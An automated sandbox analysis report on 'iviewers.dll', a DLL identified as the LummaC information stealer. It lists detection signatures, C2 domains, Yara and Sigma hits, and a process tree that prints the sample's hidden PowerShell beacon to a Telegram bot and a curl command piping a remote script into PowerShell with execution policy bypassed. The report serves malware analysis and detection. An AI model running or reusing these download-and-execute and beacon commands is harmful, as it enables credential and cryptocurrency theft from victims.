Edit tour

Windows Analysis Report
iviewers.dll

Overview

General Information

Sample name:	iviewers.dll
Analysis ID:	1581496
MD5:	690a4c9693ad790d6ee23492fe8bf869
SHA1:	da39c94f65a34f2f2a72c6b2799f7d991a8c38d8
SHA256:	320db923b7c701a6005e465a082ad48c2f3c8f36145ece15b4980a44202383fe
Tags:	dlluser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Compiles code for process injection (via .Net compiler)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Installs new ROOT certificates

LummaC encrypted strings found

Machine Learning detection for dropped file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Suspicious command line found

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect virtual machines (SLDT)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Unusual Parent Process For Cmd.EXE

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6752 cmdline: loaddll32.exe "C:\Users\user\Desktop\iviewers.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 6692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2448 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 4600 cmdline: rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 1700 cmdline: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3752 cmdline: powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7612 cmdline: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command - MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7808 cmdline: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

curl.exe (PID: 7888 cmdline: curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

powershell.exe (PID: 7824 cmdline: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command - MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 7300 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7336 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF463.tmp" "c:\Users\user\AppData\Local\Temp\1yj35v5c\CSC1D664DFBC1CF4D3B97F036955FDEE5EE.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

RegAsm.exe (PID: 7548 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

regsvr32.exe (PID: 4324 cmdline: regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

cmd.exe (PID: 1436 cmdline: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5300 cmdline: powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7668 cmdline: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command - MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7868 cmdline: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

curl.exe (PID: 7956 cmdline: curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

powershell.exe (PID: 7880 cmdline: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command - MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 5288 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7184 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF461.tmp" "c:\Users\user\AppData\Local\Temp\wzlesmvi\CSC11B817DA9D55460CBF45133E7BAA649F.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

RegAsm.exe (PID: 7552 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

rundll32.exe (PID: 1076 cmdline: rundll32.exe C:\Users\user\Desktop\iviewers.dll,DllRegisterServer MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 1772 cmdline: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6512 cmdline: powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7620 cmdline: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command - MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7740 cmdline: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

curl.exe (PID: 7780 cmdline: curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

powershell.exe (PID: 7760 cmdline: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command - MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 6620 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7436 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF462.tmp" "c:\Users\user\AppData\Local\Temp\xyq5akbp\CSC3C74FAAA7254A90B38FFB13CA21DCB4.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

RegAsm.exe (PID: 6424 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 7460 cmdline: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 7476 cmdline: powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7424 cmdline: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command - MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7228 cmdline: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

curl.exe (PID: 6656 cmdline: curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

powershell.exe (PID: 6588 cmdline: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command - MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

csc.exe (PID: 6024 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 2044 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES374.tmp" "c:\Users\user\AppData\Local\Temp\3vvszjlk\CSC1C049BEBEBAF4B45B9D79F1CA1976831.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

RegAsm.exe (PID: 3716 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 2196 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["tentabatte.lat", "slipperyloo.lat", "wordyfindy.lat", "shapestickyr.lat", "bashfulacid.lat", "manyrestro.lat", "curverpluch.lat", "talkynicer.lat", "fivenaii.click"], "Build id": "VC6Dfm--TestOtctuk"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7760	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 7760	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa1163:$b2: ::FromBase64String( 0xa1193:$b2: ::FromBase64String( 0xa11c3:$b2: ::FromBase64String( 0xa2aa4:$b2: ::FromBase64String( 0x10651:$s1: -join 0x13bc5:$s1: -join 0x29648:$s1: -join 0x3671d:$s1: -join 0x39aef:$s1: -join 0x3a1a1:$s1: -join 0x3bc92:$s1: -join 0x3de98:$s1: -join 0x3e6bf:$s1: -join 0x3ef2f:$s1: -join 0x3f66a:$s1: -join 0x3f69c:$s1: -join 0x3f6e4:$s1: -join 0x3f703:$s1: -join 0x3ff53:$s1: -join 0x400cf:$s1: -join 0x40147:$s1: -join
Process Memory Space: powershell.exe PID: 7824	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7824	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 7824	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6a483:$b2: ::FromBase64String( 0x6a4b3:$b2: ::FromBase64String( 0x6a4e3:$b2: ::FromBase64String( 0x6bf30:$b2: ::FromBase64String( 0x22b3f:$s1: -join 0x88abc:$s1: -join 0x88dd1:$s1: -join 0x8901a:$s1: -join 0x89321:$s1: -join 0x89353:$s1: -join 0x8939b:$s1: -join 0x893c8:$s1: -join 0x89bb7:$s1: -join 0x89c7d:$s1: -join 0x89cb8:$s1: -join 0x89d0d:$s1: -join 0x8af01:$s1: -join 0x8f862:$s1: -join 0xa7fb5:$s1: -join 0x12f6f1:$s1: -join 0x1319ec:$s1: -join
Process Memory Space: powershell.exe PID: 7880	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 7880	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1694fe:$b2: ::FromBase64String( 0x16952e:$b2: ::FromBase64String( 0x16955e:$b2: ::FromBase64String( 0x16ae71:$b2: ::FromBase64String( 0x77094:$s1: -join 0x7a040:$s1: -join 0xab763:$s1: -join 0x10fe1f:$s1: -join 0x11cef4:$s1: -join 0x1202c6:$s1: -join 0x120978:$s1: -join 0x122469:$s1: -join 0x12466f:$s1: -join 0x124e96:$s1: -join 0x125706:$s1: -join 0x125e41:$s1: -join 0x125e73:$s1: -join 0x125ebb:$s1: -join 0x125eda:$s1: -join 0x12672a:$s1: -join 0x1268a6:$s1: -join
Process Memory Space: powershell.exe PID: 6588	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 6588	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xf1ddd:$b2: ::FromBase64String( 0xf1e0d:$b2: ::FromBase64String( 0xf1e3d:$b2: ::FromBase64String( 0xf36cf:$b2: ::FromBase64String( 0x2334a:$s1: -join 0x23afe:$s1: -join 0x5092f:$s1: -join 0x5da04:$s1: -join 0x60dd6:$s1: -join 0x61488:$s1: -join 0x62f79:$s1: -join 0x6517f:$s1: -join 0x659a6:$s1: -join 0x66216:$s1: -join 0x66951:$s1: -join 0x66983:$s1: -join 0x669cb:$s1: -join 0x669ea:$s1: -join 0x6723a:$s1: -join 0x673b6:$s1: -join 0x6742e:$s1: -join
Process Memory Space: RegAsm.exe PID: 2196	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -, CommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7620, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -, ProcessId: 7760, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7760, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline", ProcessId: 6620, ProcessName: csc.exe

Sigma detected: Unusual Parent Process For Cmd.EXE

Source: Process started

Author: Tim Rauch: Data: Command: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", CommandLine: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll, ParentImage: C:\Windows\SysWOW64\regsvr32.exe, ParentProcessId: 4324, ParentProcessName: regsvr32.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", CommandLine: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll, ParentImage: C:\Windows\SysWOW64\regsvr32.exe, ParentProcessId: 4324, ParentProcessName: regsvr32.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7760, TargetFilename: C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", CommandLine: powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", ProcessId: 5300, ProcessName: powershell.exe

Data Obfuscation

